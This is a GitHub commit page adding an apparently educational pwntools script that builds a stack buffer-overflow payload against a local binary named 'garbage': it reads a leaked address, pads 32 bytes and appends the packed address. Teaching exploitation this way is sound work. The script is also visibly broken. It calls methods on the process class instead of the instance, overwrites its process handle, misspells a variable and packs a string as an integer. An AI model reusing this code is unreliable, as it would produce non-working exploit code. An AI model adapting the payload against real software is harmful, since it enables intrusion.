Skip to content
Permalink
Browse files
Demo of using Pwntools updated
  • Loading branch information
aa9863 committed Nov 22, 2020
1 parent d40e506 commit aa5844585ac8e1dfea65ef579c6aa53971b4eca8
Showing 1 changed file with 44 additions and 0 deletions.
@@ -0,0 +1,44 @@
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug'

import logging
logging.basicConfig(level=logging.DEBUG)
log = logging.getLogger("PWN")

log.info("Startng process...")
#And do the Input / output
p = process("./garbage") #Change this to the File

p = process.recv_until(">") #Should get up the the Yes No Prompt
log.debug(p)

#Reply Yess
process.writeline("y")

#Get the next lot
p = process.recv_until("..")
log.debug(p)

#And the "Data"
addresses = process.recvuntil('"')
log.info("---- You need to Process this part ---")
log.info(addressess)

#Split on space
parts = addresses.split(" ")
#Remove brackets
ADDRESS = parts[0].strip("[").strip("]").strip() #Brackets and whitespace

#And get ready to send the response
p = process.recv_until(">")
log.debug(p)

#Build the payload
OFFSET = 32
payload = "A"*32
payload += p64(ADDRESS)

#And Send it
#p.sendline(payload)

0 comments on commit aa58445

Please sign in to comment.